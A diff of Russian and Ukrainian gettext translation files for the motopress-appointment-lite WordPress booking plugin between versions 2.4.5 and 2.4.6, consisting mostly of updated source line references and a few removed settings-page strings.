-#: assets/js/divi-modules.js:8384
-#: assets/js/elementor-widgets.js:8384
-#: assets/js/gutenberg-blocks.js:8823
-#: assets/js/public.js:8384
+#: assets/js/divi-modules.js:8385
+#: assets/js/elementor-widgets.js:8385
+#: assets/js/gutenberg-blocks.js:8824
+#: assets/js/public.js:8385
 msgid "Bancontact"
 msgstr "Bancontact"
 
-#: assets/js/divi-modules.js:8411
-#: assets/js/elementor-widgets.js:8411
-#: assets/js/gutenberg-blocks.js:8850
-#: assets/js/public.js:8411
+#: assets/js/divi-modules.js:8412
+#: assets/js/elementor-widgets.js:8412
+#: assets/js/gutenberg-blocks.js:8851
+#: assets/js/public.js:8412
 msgid "iDEAL"
 msgstr "iDEAL"
 
-#: assets/js/divi-modules.js:8449
-#: assets/js/elementor-widgets.js:8449
-#: assets/js/gutenberg-blocks.js:8888
-#: assets/js/public.js:8449
+#: assets/js/divi-modules.js:8450
+#: assets/js/elementor-widgets.js:8450
+#: assets/js/gutenberg-blocks.js:8889
+#: assets/js/public.js:8450
 msgid "Giropay"
 msgstr "Giropay"
 
-#: assets/js/divi-modules.js:8349
-#: assets/js/elementor-widgets.js:8349
-#: assets/js/gutenberg-blocks.js:8788
-#: assets/js/public.js:8349
+#: assets/js/divi-modules.js:8350
+#: assets/js/elementor-widgets.js:8350
+#: assets/js/gutenberg-blocks.js:8789
+#: assets/js/public.js:8350
 msgid "SEPA Direct Debit"
 msgstr "SEPA Direct Debit"
 
-#: assets/js/divi-modules.js:8476
-#: assets/js/elementor-widgets.js:8476
-#: assets/js/gutenberg-blocks.js:8915
-#: assets/js/public.js:8476
+#: assets/js/divi-modules.js:8477
+#: assets/js/elementor-widgets.js:8477
+#: assets/js/gutenberg-blocks.js:8916
+#: assets/js/public.js:8477
 msgid "SOFORT"
 msgstr "SOFORT"
 
@@ -5426,10 +5416,10 @@
 msgstr ""
 
 #: templates/shortcodes/booking/step-booking.php:24
-#: assets/js/divi-modules.js:5645
-#: assets/js/elementor-widgets.js:5645
-#: assets/js/gutenberg-blocks.js:6084
-#: assets/js/public.js:5645
+#: assets/js/divi-modules.js:5646
+#: assets/js/elementor-widgets.js:5646
+#: assets/js/gutenberg-blocks.js:6085
+#: assets/js/public.js:5646
 msgid "Making a reservation..."
 msgstr ""
 
@@ -6142,168 +6132,168 @@
 msgstr ""
 
 #: assets/js/customers-page.js:497
-#: assets/js/divi-modules.js:6650
+#: assets/js/divi-modules.js:6651
 #: assets/js/edit-post.js:1100
-#: assets/js/elementor-widgets.js:6650
-#: assets/js/gutenberg-blocks.js:7089
-#: assets/js/public.js:6650
+#: assets/js/elementor-widgets.js:6651
+#: assets/js/gutenberg-blocks.js:7090
+#: assets/js/public.js:6651
 #: assets/js/settings-page.js:685
 #: assets/js/widgets-manage-page.js:2911
 msgid "Phone number is invalid."
 msgstr ""
 
-#: assets/js/divi-modules.js:5749
-#: assets/js/divi-modules.js:7633
-#: assets/js/elementor-widgets.js:5749
-#: assets/js/elementor-widgets.js:7633
-#: assets/js/gutenberg-blocks.js:6188
-#: assets/js/gutenberg-blocks.js:8072
-#: assets/js/public.js:5749
-#: assets/js/public.js:7633
+#: assets/js/divi-modules.js:5750
+#: assets/js/divi-modules.js:7634
+#: assets/js/elementor-widgets.js:5750
+#: assets/js/elementor-widgets.js:7634
+#: assets/js/gutenberg-blocks.js:6189
+#: assets/js/gutenberg-blocks.js:8073
+#: assets/js/public.js:5750
+#: assets/js/public.js:7634
 msgid "You will be redirected to a secure page to complete the payment."
 msgstr "Вас будет перенаправлено на защищенную страницу для завершения платежа."
 
-#: assets/js/divi-modules.js:5960
-#: assets/js/elementor-widgets.js:5960
-#: assets/js/gutenberg-blocks.js:6399
-#: assets/js/public.js:5960
+#: assets/js/divi-modules.js:5961
+#: assets/js/elementor-widgets.js:5961
+#: assets/js/gutenberg-blocks.js:6400
+#: assets/js/public.js:5961
 msgid "Subtotal"
 msgstr "Промежуточный итог"
 
 #. Translators: %s: Coupon code.
-#: assets/js/divi-modules.js:5970
-#: assets/js/elementor-widgets.js:5970
-#: assets/js/gutenberg-blocks.js:6409
-#: assets/js/public.js:5970
+#: assets/js/divi-modules.js:5971
+#: assets/js/elementor-widgets.js:5971
+#: assets/js/gutenberg-blocks.js:6410
+#: assets/js/public.js:5971
 #, js-format
 msgid "Coupon: %s"
 msgstr "Купон на скидку: %s"
 
-#: assets/js/divi-modules.js:5982
-#: assets/js/divi-modules.js:8135
-#: assets/js/divi-modules.js:8650
-#: assets/js/elementor-widgets.js:5982
-#: assets/js/elementor-widgets.js:8135
-#: assets/js/elementor-widgets.js:8650
-#: assets/js/gutenberg-blocks.js:6421
-#: assets/js/gutenberg-blocks.js:8574
-#: assets/js/gutenberg-blocks.js:9089
-#: assets/js/public.js:5982
-#: assets/js/public.js:8135
-#: assets/js/public.js:8650
+#: assets/js/divi-modules.js:5983
+#: assets/js/divi-modules.js:8136
+#: assets/js/divi-modules.js:8651
+#: assets/js/elementor-widgets.js:5983
+#: assets/js/elementor-widgets.js:8136
+#: assets/js/elementor-widgets.js:8651
+#: assets/js/gutenberg-blocks.js:6422
+#: assets/js/gutenberg-blocks.js:8575
+#: assets/js/gutenberg-blocks.js:9090
+#: assets/js/public.js:5983
+#: assets/js/public.js:8136
+#: assets/js/public.js:8651
 msgid "Total"
 msgstr "Всего"
 
-#: assets/js/divi-modules.js:6005
-#: assets/js/elementor-widgets.js:6005
-#: assets/js/gutenberg-blocks.js:6444
-#: assets/js/public.js:6005
+#: assets/js/divi-modules.js:6006
+#: assets/js/elementor-widgets.js:6006
+#: assets/js/gutenberg-blocks.js:6445
+#: assets/js/public.js:6006
 msgid "Deposit"
 msgstr "Задаток"
 
-#: assets/js/divi-modules.js:6010
-#: assets/js/elementor-widgets.js:6010
-#: assets/js/gutenberg-blocks.js:6449
-#: assets/js/public.js:6010
+#: assets/js/divi-modules.js:6011
+#: assets/js/elementor-widgets.js:6011
+#: assets/js/gutenberg-blocks.js:6450
+#: assets/js/public.js:6011
 msgid "Paying now"
 msgstr ""
 
-#: assets/js/divi-modules.js:6548
-#: assets/js/elementor-widgets.js:6548
-#: assets/js/gutenberg-blocks.js:6987
-#: assets/js/public.js:6548
+#: assets/js/divi-modules.js:6549
+#: assets/js/elementor-widgets.js:6549
+#: assets/js/gutenberg-blocks.js:6988
+#: assets/js/public.js:6549
 msgid "Coupon code is empty."
 msgstr "Скидочный купон пустой."
 
-#: assets/js/divi-modules.js:6557
-#: assets/js/elementor-widgets.js:6557
-#: assets/js/gutenberg-blocks.js:6996
-#: assets/js/public.js:6557
+#: assets/js/divi-modules.js:6558
+#: assets/js/elementor-widgets.js:6558
+#: assets/js/gutenberg-blocks.js:6997
+#: assets/js/public.js:6558
 msgid "Coupon code applied successfully."
 msgstr ""
 
-#: assets/js/divi-modules.js:6559
-#: assets/js/elementor-widgets.js:6559
-#: assets/js/gutenberg-blocks.js:6998
-#: assets/js/public.js:6559
+#: assets/js/divi-modules.js:6560
+#: assets/js/elementor-widgets.js:6560
+#: assets/js/gutenberg-blocks.js:6999
+#: assets/js/public.js:6560
 msgid "Sorry, your booking is not eligible for this coupon."
 msgstr ""
 
 #. Translators: %s: Business name.
-#: assets/js/divi-modules.js:7563
-#: assets/js/elementor-widgets.js:7563
-#: assets/js/gutenberg-blocks.js:8002
-#: assets/js/public.js:7563
+#: assets/js/divi-modules.js:7564
+#: assets/js/elementor-widgets.js:7564
+#: assets/js/gutenberg-blocks.js:8003
+#: assets/js/public.js:7564
 #, js-format
 msgid "By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited."
 msgstr ""
 
-#: assets/js/divi-modules.js:7584
-#: assets/js/elementor-widgets.js:7584
-#: assets/js/gutenberg-blocks.js:8023
-#: assets/js/public.js:7584
+#: assets/js/divi-modules.js:7585
+#: assets/js/elementor-widgets.js:7585
+#: assets/js/gutenberg-blocks.js:8024
+#: assets/js/public.js:7585
 msgid "Credit or debit card"
 msgstr "Кредитная или дебетовая карта"
 
-#: assets/js/divi-modules.js:7588
-#: assets/js/elementor-widgets.js:7588
-#: assets/js/gutenberg-blocks.js:8027
-#: assets/js/public.js:7588
+#: assets/js/divi-modules.js:7589
+#: assets/js/elementor-widgets.js:7589
+#: assets/js/gutenberg-blocks.js:8028
+#: assets/js/public.js:7589
 msgid "or"
 msgstr "или"
 
-#: assets/js/divi-modules.js:7603
-#: assets/js/elementor-widgets.js:7603
-#: assets/js/gutenberg-blocks.js:8042
-#: assets/js/public.js:7603
+#: assets/js/divi-modules.js:7604
+#: assets/js/elementor-widgets.js:7604
+#: assets/js/gutenberg-blocks.js:8043
+#: assets/js/public.js:7604
 msgid "Select iDEAL Bank"
 msgstr "Выберите iDEAL Bank"
 
-#: assets/js/divi-modules.js:7618
-#: assets/js/elementor-widgets.js:7618
-#: assets/js/gutenberg-blocks.js:8057
-#: assets/js/public.js:7618
+#: assets/js/divi-modules.js:7619
+#: assets/js/elementor-widgets.js:7619
+#: assets/js/gutenberg-blocks.js:8058
+#: assets/js/public.js:7619
 msgid "IBAN"
 msgstr "IBAN"
 
-#: assets/js/divi-modules.js:7882
-#: assets/js/elementor-widgets.js:7882
-#: assets/js/gutenberg-blocks.js:8321
-#: assets/js/public.js:7882
+#: assets/js/divi-modules.js:7883
+#: assets/js/elementor-widgets.js:7883
+#: assets/js/gutenberg-blocks.js:8322
+#: assets/js/public.js:7883
 msgid "Payment methods"
 msgstr ""
 
-#: assets/js/divi-modules.js:8094
-#: assets/js/elementor-widgets.js:8094
-#: assets/js/gutenberg-blocks.js:8533
-#: assets/js/public.js:8094
+#: assets/js/divi-modules.js:8095
+#: assets/js/elementor-widgets.js:8095
+#: assets/js/gutenberg-blocks.js:8534
+#: assets/js/public.js:8095
 msgid "Card"
 msgstr "Карта"
 
-#: assets/js/divi-modules.js:10130
-#: assets/js/edit-post.js:7677
-#: assets/js/elementor-widgets.js:10130
-#: assets/js/gutenberg-blocks.js:10569
-#: assets/js/public.js:10130
+#: assets/js/divi-modules.js:10131
+#: assets/js/edit-post.js:7678
+#: assets/js/elementor-widgets.js:10131
+#: assets/js/gutenberg-blocks.js:10570
+#: assets/js/public.js:10131
 msgid "Sorry, but we were unable to allocate time slots for the date you selected."
 msgstr ""
 
-#: assets/js/divi-modules.js:10777
-#: assets/js/elementor-widgets.js:10777
-#: assets/js/gutenberg-blocks.js:11216
-#: assets/js/public.js:10777
+#: assets/js/divi-modules.js:10778
+#: assets/js/elementor-widgets.js:10778
+#: assets/js/gutenberg-blocks.js:11217
+#: assets/js/public.js:10778
 msgid "Sorry, there are no services, employees or locations to book."
 msgstr ""
 
 #. Translators: %s: Checkbox label.
-#: assets/js/edit-post.js:9005
+#: assets/js/edit-post.js:9006
 #: assets/js/gutenberg-blocks.js:3220
 #: assets/js/widgets-manage-page.js:2976
 #, js-format
 msgid "To enable this option, you need to check the '%s' box."
 msgstr ""
 
-#: assets/js/edit-post.js:9006
+#: assets/js/edit-post.js:9007
 #: assets/js/gutenberg-blocks.js:3238
 #: assets/js/widgets-manage-page.js:2977
 msgid "To enable booking for the specific service only, select the service below first, then uncheck the 'Service' box here."
@@ -6313,19 +6303,19 @@
 msgid "Colors"
 msgstr ""
 
-#: assets/js/gutenberg-blocks.js:11400
-#: assets/js/gutenberg-blocks.js:11710
-#: assets/js/gutenberg-blocks.js:11981
-#: assets/js/gutenberg-blocks.js:12284
-#: assets/js/gutenberg-blocks.js:12638
-#: assets/js/gutenberg-blocks.js:12761
-#: assets/js/gutenberg-blocks.js:12884
-#: assets/js/gutenberg-blocks.js:13007
-#: assets/js/gutenberg-blocks.js:13130
-#: assets/js/gutenberg-blocks.js:13253
-#: assets/js/gutenberg-blocks.js:13376
-#: assets/js/gutenberg-blocks.js:13499
-#: assets/js/gutenberg-blocks.js:13622
+#: assets/js/gutenberg-blocks.js:11401
+#: assets/js/gutenberg-blocks.js:11711
+#: assets/js/gutenberg-blocks.js:11982
+#: assets/js/gutenberg-blocks.js:12285
+#: assets/js/gutenberg-blocks.js:12639
+#: assets/js/gutenberg-blocks.js:12762
+#: assets/js/gutenberg-blocks.js:12885
+#: assets/js/gutenberg-blocks.js:13008
+#: assets/js/gutenberg-blocks.js:13131
+#: assets/js/gutenberg-blocks.js:13254
+#: assets/js/gutenberg-blocks.js:13377
+#: assets/js/gutenberg-blocks.js:13500
+#: assets/js/gutenberg-blocks.js:13623
 msgid "appointment"
 msgstr ""
 
Binary files /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/languages/motopress-appointment-uk.mo and /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/languages/motopress-appointment-uk.mo differ
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/languages/motopress-appointment-uk.po /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/languages/motopress-appointment-uk.po
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/languages/motopress-appointment-uk.po	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/languages/motopress-appointment-uk.po	2026-06-30 15:16:08.000000000 +0000
@@ -176,16 +176,6 @@
 msgid "Help"
 msgstr "Допомога"
 
-#: includes/admin-pages/custom/SettingsPage.php:199
-msgid "Settings saved."
-msgstr "Налаштування збережено."
-
-#: includes/admin-pages/custom/SettingsPage.php:265
-msgid "Save Changes"
-msgstr "Зберегти зміни"
-
-#: includes/admin-pages/custom/SettingsPage.php:400
-#: includes/admin-pages/custom/SettingsPage.php:409
 #: includes/elementor/widgets/AppointmentFormWidget.php:71
 #: includes/elementor/widgets/EmployeeAdditionalInfoWidget.php:35
 #: includes/elementor/widgets/EmployeeContactsWidget.php:35
@@ -202,18 +192,18 @@
 #: includes/metaboxes/notification/NotificationSettingsMetabox.php:26
 #: templates/private/pages/wizard.php:12
 #: assets/js/gutenberg-blocks.js:3245
-#: assets/js/gutenberg-blocks.js:11506
-#: assets/js/gutenberg-blocks.js:11801
-#: assets/js/gutenberg-blocks.js:12087
-#: assets/js/gutenberg-blocks.js:12405
-#: assets/js/gutenberg-blocks.js:12686
-#: assets/js/gutenberg-blocks.js:12809
-#: assets/js/gutenberg-blocks.js:12932
-#: assets/js/gutenberg-blocks.js:13055
-#: assets/js/gutenberg-blocks.js:13178
-#: assets/js/gutenberg-blocks.js:13301
-#: assets/js/gutenberg-blocks.js:13424
-#: assets/js/gutenberg-blocks.js:13547
+#: assets/js/gutenberg-blocks.js:11507
+#: assets/js/gutenberg-blocks.js:11802
+#: assets/js/gutenberg-blocks.js:12088
+#: assets/js/gutenberg-blocks.js:12406
+#: assets/js/gutenberg-blocks.js:12687
+#: assets/js/gutenberg-blocks.js:12810
+#: assets/js/gutenberg-blocks.js:12933
+#: assets/js/gutenberg-blocks.js:13056
+#: assets/js/gutenberg-blocks.js:13179
+#: assets/js/gutenberg-blocks.js:13302
+#: assets/js/gutenberg-blocks.js:13425
+#: assets/js/gutenberg-blocks.js:13548
 msgid "Settings"
 msgstr "Налаштування"
 
@@ -237,27 +227,27 @@
 msgid "Filtered bookings for customer"
 msgstr "Відфільтровані бронювання для клієнта"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:486
+#: includes/admin-pages/manage/ManageBookingsPage.php:494
 msgid "All Services"
 msgstr "Всі послуги"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:511
+#: includes/admin-pages/manage/ManageBookingsPage.php:519
 msgid "All Employees"
 msgstr "Всі працівники"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:536
+#: includes/admin-pages/manage/ManageBookingsPage.php:544
 msgid "All Locations"
 msgstr "Всі розташування"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:573
+#: includes/admin-pages/manage/ManageBookingsPage.php:581
 msgid "Export"
 msgstr "Експорт"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:574
+#: includes/admin-pages/manage/ManageBookingsPage.php:582
 msgid "Cancel Export"
 msgstr "Скасувати експорт"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:589
+#: includes/admin-pages/manage/ManageBookingsPage.php:597
 #: includes/admin-pages/manage/ManagePaymentsPage.php:71
 #: includes/crons/ExportBookingsCron.php:347
 #: includes/divi/modules/EmployeeAdditionalInfoModule.php:27
@@ -276,18 +266,18 @@
 #: includes/elementor/widgets/EmployeeServicesListWidget.php:43
 #: includes/elementor/widgets/EmployeeSocialNetworksWidget.php:44
 #: includes/elementor/widgets/EmployeeTitleWidget.php:44
-#: assets/js/gutenberg-blocks.js:12689
-#: assets/js/gutenberg-blocks.js:12812
-#: assets/js/gutenberg-blocks.js:12935
-#: assets/js/gutenberg-blocks.js:13058
-#: assets/js/gutenberg-blocks.js:13181
-#: assets/js/gutenberg-blocks.js:13304
-#: assets/js/gutenberg-blocks.js:13427
-#: assets/js/gutenberg-blocks.js:13550
+#: assets/js/gutenberg-blocks.js:12690
+#: assets/js/gutenberg-blocks.js:12813
+#: assets/js/gutenberg-blocks.js:12936
+#: assets/js/gutenberg-blocks.js:13059
+#: assets/js/gutenberg-blocks.js:13182
+#: assets/js/gutenberg-blocks.js:13305
+#: assets/js/gutenberg-blocks.js:13428
+#: assets/js/gutenberg-blocks.js:13551
 msgid "ID"
 msgstr "ID"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:590
+#: includes/admin-pages/manage/ManageBookingsPage.php:598
 #: includes/admin-pages/manage/ManageEmployeesPage.php:149
 #: includes/divi/modules/ServicesListModule.php:97
 #: includes/elementor/widgets/ServicesListWidget.php:113
@@ -297,11 +287,11 @@
 #: includes/post-types/ServicePostType.php:117
 #: assets/js/analytics-page.js:33399
 #: assets/js/calendar-page.js:45376
-#: assets/js/gutenberg-blocks.js:12464
+#: assets/js/gutenberg-blocks.js:12465
 msgid "Services"
 msgstr "Послуги"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:590
+#: includes/admin-pages/manage/ManageBookingsPage.php:598
 #: includes/crons/ExportBookingsCron.php:354
 #: includes/divi/modules/AppointmentFormModule.php:64
 #: includes/divi/modules/AppointmentFormModule.php:126
@@ -321,14 +311,14 @@
 #: templates/shortcodes/booking/step-admin-cart.php:33
 #: templates/shortcodes/booking/step-service-form.php:102
 #: assets/js/calendar-page.js:38165
-#: assets/js/edit-post.js:9005
+#: assets/js/edit-post.js:9006
 #: assets/js/gutenberg-blocks.js:3256
 #: assets/js/gutenberg-blocks.js:3303
 #: assets/js/widgets-manage-page.js:2976
 msgid "Service"
 msgstr "Послуга"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:591
+#: includes/admin-pages/manage/ManageBookingsPage.php:599
 #: includes/crons/ExportBookingsCron.php:357
 #: templates/shortcodes/booking/step-admin-cart.php:37
 #: templates/shortcodes/template-parts/booking-details.php:99
@@ -337,13 +327,13 @@
 msgid "Date"
 msgstr "Дата"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:592
+#: includes/admin-pages/manage/ManageBookingsPage.php:600
 #: includes/crons/ExportBookingsCron.php:358
 #: templates/shortcodes/booking/step-admin-cart.php:38
 msgid "Time"
 msgstr "Час"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:593
+#: includes/admin-pages/manage/ManageBookingsPage.php:601
 #: includes/divi/modules/EmployeesListModule.php:87
 #: includes/divi/modules/ServicesListModule.php:103
 #: includes/elementor/widgets/EmployeesListWidget.php:104
@@ -356,12 +346,12 @@
 #: includes/post-types/EmployeePostType.php:52
 #: assets/js/analytics-page.js:33437
 #: assets/js/calendar-page.js:45414
-#: assets/js/gutenberg-blocks.js:11557
-#: assets/js/gutenberg-blocks.js:12473
+#: assets/js/gutenberg-blocks.js:11558
+#: assets/js/gutenberg-blocks.js:12474
 msgid "Employees"
 msgstr "Працівники"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:593
+#: includes/admin-pages/manage/ManageBookingsPage.php:601
 #: includes/admin-pages/manage/ManageNotificationsPage.php:210
 #: includes/admin-pages/manage/ManageSchedulesPage.php:134
 #: includes/divi/modules/AppointmentFormModule.php:140
@@ -391,7 +381,7 @@
 msgid "Employee"
 msgstr "Працівник"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:594
+#: includes/admin-pages/manage/ManageBookingsPage.php:602
 #: includes/admin-pages/manage/ManageServicesPage.php:23
 #: includes/divi/modules/ServicesListModule.php:159
 #: includes/elementor/widgets/ServicesListWidget.php:193
@@ -403,11 +393,11 @@
 #: templates/service/price.php:19
 #: templates/shortcodes/booking/step-admin-cart.php:36
 #: templates/shortcodes/booking/step-cart.php:64
-#: assets/js/gutenberg-blocks.js:12559
+#: assets/js/gutenberg-blocks.js:12560
 msgid "Price"
 msgstr "Ціна"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:595
+#: includes/admin-pages/manage/ManageBookingsPage.php:603
 #: includes/admin-pages/manage/ManageNotificationsPage.php:156
 #: includes/admin-pages/manage/ManagePaymentsPage.php:72
 #: includes/fields/complex/LicenseSettingsField.php:79
@@ -417,7 +407,7 @@
 msgid "Status"
 msgstr "Статус"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:596
+#: includes/admin-pages/manage/ManageBookingsPage.php:604
 #: includes/admin-pages/manage/ManageNotificationsPage.php:214
 #: includes/list-tables/emails/CustomerEmailsListTable.php:32
 #: includes/metaboxes/notification/NotificationSettingsMetabox.php:86
@@ -427,7 +417,7 @@
 msgstr "Покупець"
 
 #. Translators: %s: Paid amount.
-#: includes/admin-pages/manage/ManageBookingsPage.php:695
+#: includes/admin-pages/manage/ManageBookingsPage.php:703
 #, php-format
 msgid "Paid: %s"
 msgstr "Оплачено: %s"
@@ -473,10 +463,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:202
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:67
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:62
-#: assets/js/gutenberg-blocks.js:11634
-#: assets/js/gutenberg-blocks.js:11905
-#: assets/js/gutenberg-blocks.js:12214
-#: assets/js/gutenberg-blocks.js:12562
+#: assets/js/gutenberg-blocks.js:11635
+#: assets/js/gutenberg-blocks.js:11906
+#: assets/js/gutenberg-blocks.js:12215
+#: assets/js/gutenberg-blocks.js:12563
 msgid "Order"
 msgstr "Порядок"
 
@@ -847,7 +837,7 @@
 #: includes/metaboxes/shortcode/AppointmentFormLabelsMetabox.php:68
 #: includes/shortcodes/AppointmentFormShortcode.php:94
 #: includes/widgets/AppointmentFormWidget.php:191
-#: assets/js/edit-post.js:9055
+#: assets/js/edit-post.js:9056
 #: assets/js/gutenberg-blocks.js:3333
 #: assets/js/widgets-manage-page.js:3069
 msgid "— Select —"
@@ -1234,7 +1224,7 @@
 #: includes/shortcodes/AppointmentFormShortcode.php:32
 #: includes/widgets/AppointmentFormWidget.php:32
 #: includes/widgets/AppointmentFormWidget.php:139
-#: assets/js/gutenberg-blocks.js:11358
+#: assets/js/gutenberg-blocks.js:11359
 msgid "Appointment Form"
 msgstr "Форма бронювання"
 
@@ -1482,7 +1472,7 @@
 #: includes/metaboxes/shortcode/AppointmentFormLabelsMetabox.php:76
 #: includes/shortcodes/AppointmentFormShortcode.php:100
 #: includes/widgets/AppointmentFormWidget.php:198
-#: assets/js/edit-post.js:9057
+#: assets/js/edit-post.js:9058
 #: assets/js/gutenberg-blocks.js:3202
 #: assets/js/gutenberg-blocks.js:3204
 #: assets/js/gutenberg-blocks.js:3205
@@ -1496,7 +1486,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:146
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:79
 #: includes/shortcodes/ServicesListShortcode.php:91
-#: assets/js/gutenberg-blocks.js:12492
+#: assets/js/gutenberg-blocks.js:12493
 msgid "Comma-separated slugs or IDs of tags that will be shown."
 msgstr "Розділені комами слаґи або ID тегів, які будуть показані."
 
@@ -1573,7 +1563,7 @@
 #: includes/divi/modules/EmployeeAdditionalInfoModule.php:20
 #: includes/elementor/widgets/EmployeeAdditionalInfoWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeAdditionalInfoShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13604
+#: assets/js/gutenberg-blocks.js:13605
 msgid "Employee Additional Information"
 msgstr "Додаткова інформація про співробітника"
 
@@ -1594,49 +1584,49 @@
 #: includes/elementor/widgets/EmployeeSocialNetworksWidget.php:47
 #: includes/elementor/widgets/EmployeeTitleWidget.php:47
 #: includes/shortcodes/single-employee/AbstractSingleEmployeeShortcode.php:25
-#: assets/js/gutenberg-blocks.js:12690
-#: assets/js/gutenberg-blocks.js:12813
-#: assets/js/gutenberg-blocks.js:12936
-#: assets/js/gutenberg-blocks.js:13059
-#: assets/js/gutenberg-blocks.js:13182
-#: assets/js/gutenberg-blocks.js:13305
-#: assets/js/gutenberg-blocks.js:13428
-#: assets/js/gutenberg-blocks.js:13551
+#: assets/js/gutenberg-blocks.js:12691
+#: assets/js/gutenberg-blocks.js:12814
+#: assets/js/gutenberg-blocks.js:12937
+#: assets/js/gutenberg-blocks.js:13060
+#: assets/js/gutenberg-blocks.js:13183
+#: assets/js/gutenberg-blocks.js:13306
+#: assets/js/gutenberg-blocks.js:13429
+#: assets/js/gutenberg-blocks.js:13552
 msgid "Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise."
 msgstr "ID поста працівника з якого відображати вміст. Примітка: цей параметр автоматично використовує поточний ID, коли шорткод знаходиться всередині поста працівника і обов'язковий в іншому випадку."
 
 #: includes/divi/modules/EmployeeContactsModule.php:20
 #: includes/elementor/widgets/EmployeeContactsWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeContactsShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13358
+#: assets/js/gutenberg-blocks.js:13359
 msgid "Employee Contact Information"
 msgstr "Контактна інформація про співробітника"
 
 #: includes/divi/modules/EmployeeContentModule.php:20
 #: includes/elementor/widgets/EmployeeContentWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeContentShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13235
+#: assets/js/gutenberg-blocks.js:13236
 msgid "Employee Content"
 msgstr "Зміст співробітника"
 
 #: includes/divi/modules/EmployeeImageModule.php:20
 #: includes/elementor/widgets/EmployeeImageWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeImageShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12743
+#: assets/js/gutenberg-blocks.js:12744
 msgid "Employee Image"
 msgstr "Зображення співробітника"
 
 #: includes/divi/modules/EmployeeScheduleModule.php:20
 #: includes/elementor/widgets/EmployeeScheduleWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeScheduleShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13112
+#: assets/js/gutenberg-blocks.js:13113
 msgid "Employee Schedule"
 msgstr "Розклад співробітника"
 
 #: includes/divi/modules/EmployeeServicesListModule.php:20
 #: includes/elementor/widgets/EmployeeServicesListWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeServicesListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12989
+#: assets/js/gutenberg-blocks.js:12990
 msgid "Employee Services List"
 msgstr "Список послуг співробітника"
 
@@ -1644,7 +1634,7 @@
 #: includes/elementor/widgets/EmployeesListWidget.php:25
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:29
 #: includes/shortcodes/EmployeesListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:11692
+#: assets/js/gutenberg-blocks.js:11693
 msgid "Employees List"
 msgstr "Список співробітників"
 
@@ -1660,10 +1650,10 @@
 #: includes/shortcodes/LocationsListShortcode.php:41
 #: includes/shortcodes/ServiceCategoriesShortcode.php:43
 #: includes/shortcodes/ServicesListShortcode.php:41
-#: assets/js/gutenberg-blocks.js:11509
-#: assets/js/gutenberg-blocks.js:11804
-#: assets/js/gutenberg-blocks.js:12090
-#: assets/js/gutenberg-blocks.js:12408
+#: assets/js/gutenberg-blocks.js:11510
+#: assets/js/gutenberg-blocks.js:11805
+#: assets/js/gutenberg-blocks.js:12091
+#: assets/js/gutenberg-blocks.js:12409
 msgid "Show featured image."
 msgstr "Відображати головне зображення."
 
@@ -1676,9 +1666,9 @@
 #: includes/shortcodes/EmployeesListShortcode.php:46
 #: includes/shortcodes/LocationsListShortcode.php:46
 #: includes/shortcodes/ServicesListShortcode.php:46
-#: assets/js/gutenberg-blocks.js:11517
-#: assets/js/gutenberg-blocks.js:11812
-#: assets/js/gutenberg-blocks.js:12416
+#: assets/js/gutenberg-blocks.js:11518
+#: assets/js/gutenberg-blocks.js:11813
+#: assets/js/gutenberg-blocks.js:12417
 msgid "Show post title."
 msgstr "Відображати заголовок."
 
@@ -1691,30 +1681,30 @@
 #: includes/shortcodes/EmployeesListShortcode.php:51
 #: includes/shortcodes/LocationsListShortcode.php:51
 #: includes/shortcodes/ServicesListShortcode.php:51
-#: assets/js/gutenberg-blocks.js:11525
-#: assets/js/gutenberg-blocks.js:11820
-#: assets/js/gutenberg-blocks.js:12424
+#: assets/js/gutenberg-blocks.js:11526
+#: assets/js/gutenberg-blocks.js:11821
+#: assets/js/gutenberg-blocks.js:12425
 msgid "Show post excerpt."
 msgstr "Відображати короткий зміст."
 
 #: includes/divi/modules/EmployeesListModule.php:57
 #: includes/elementor/widgets/EmployeesListWidget.php:74
 #: includes/shortcodes/EmployeesListShortcode.php:56
